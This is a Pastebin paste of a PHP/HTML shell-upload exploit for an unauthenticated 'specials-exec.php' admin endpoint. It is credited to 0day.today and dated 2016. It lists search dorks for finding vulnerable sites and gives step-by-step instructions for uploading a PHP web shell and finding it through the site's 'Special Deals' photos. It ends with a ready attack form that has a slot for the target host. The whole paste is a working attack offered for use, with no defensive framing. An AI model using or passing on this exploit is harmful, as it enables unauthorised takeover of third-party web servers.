Advertisement
MisterKlio

Specials-Exec Shell Upload Vulnerabilty

Nov 2nd, 2016
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.96 KB | None | 0 0
  1.  
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <?php
  4. /*
  5. ############################ Specials-Exec Shell Upload Vulnerabilty ############################
  6. ###### Dork : Inurl:/admin/specials-exec.php
  7. ###### Dork 2 : Inurl:/specials-exec.php
  8.  
  9. - Create a .html File and Put the Code.
  10. - Navigate the File in your Localhost .
  11. - and upload your Php Shell and you redirect to http://site/script/admin/access-denied.php
  12. - and You get the Message "Access Denied! You do not have access to this
  13. resource." but don't worry. when you get the Message go to Home Site and
  14. click in "Special Deals" and then you can see Promo Photo simply Click in the shell.
  15.  
  16. #  0day.today [2016-10-30]  #
  17. */
  18.  
  19. /// Tools Devleped By #[MK]
  20. $Target = "localhost"; ///// Past Target Vuln Here
  21.  
  22. ?>
  23. <head>
  24. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  25. <title>Shell Upload</title>
  26. <script language="JavaScript" src="http://<?php echo $Target ;?>/validation/admin.js"></script>
  27. <table width="850" align="center">
  28. <form name="specialsForm" id="specialsForm" action="http://<?php echo $Target ;?>/admin/specials-exec.php" method="post" enctype="multipart/form-data" onsubmit="return specialsValidate(this)">
  29. <tr>
  30.     <th>Name</th>
  31.     <th>Description</th>
  32.     <th>Price</th>
  33.     <th>Start Date</th>
  34.     <th>End Date</th>
  35.     <th>Photo</th>
  36.     <th>Action</th>
  37. </tr>
  38. <tr>
  39.     <td><input type="text" name="name" id="name" class="textfield" /></td><br>
  40.     <td><textarea name="description" id="description" class="textfield" rows="2" cols="15"></textarea></td><br>
  41.     <td><input type="text" name="price" id="price" class="textfield" /></td><br>
  42.     <td><input type="date" name="start_date" id="start_date" class="textfield" /></td><br>
  43.     <td><input type="date" name="end_date" id="end_date" class="textfield" /></td><br>
  44.     <td><input type="file" name="photo" id="photo"/></td><br>
  45.     <td><input type="submit" name="Submit" value="Add" /></td><br>
  46. </tr>
  47. </form>
  48. </table>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement